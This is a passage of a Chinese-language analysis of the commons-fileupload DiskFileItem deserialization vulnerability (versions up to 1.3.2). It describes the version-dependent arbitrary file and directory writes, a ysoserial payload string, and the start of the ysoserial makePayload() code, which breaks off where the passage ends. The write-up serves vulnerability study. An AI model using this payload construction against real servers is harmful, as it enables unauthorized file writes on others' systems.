漏洞的来源是在于 DiskFileItem中的 readObject()进行文件写入的操作,这就意味着如果我们对已经序列化的 DiskFileItem对象进行反序列化操作就能够触发readObject()执行从而触发这个漏洞。
这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。
不同的漏洞环境能够达到的效果不一样。
- FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能够达到写入任意文件的漏洞;
- FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本,能够向任意目录写入文件;
- FileUpload的1.3.1以及之后的版本只能向特定目录写入文件,此目录也必须存在。(文件的的命名也无法控制);
影响范围
commons-fileupload<=1.3.2
下面进行详细地分析
Payload构造
我们首先测试的版本是1.3的版本,JDK是1.8版本,所以这种组合只能达到向任意目录的文件写入的漏洞效果。我们测试的payload是 {"write;cve1000031;123456"},表示的含义就是向目录 cve1000031中写入 123456的内容。在 ysoserial中最终是由
ysoserial.payloads.FileUpload1::makePayload()来构建payload。代码如下:
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository); File outputFile = new File(filePath); DeferredFileOutputStream dfos = new De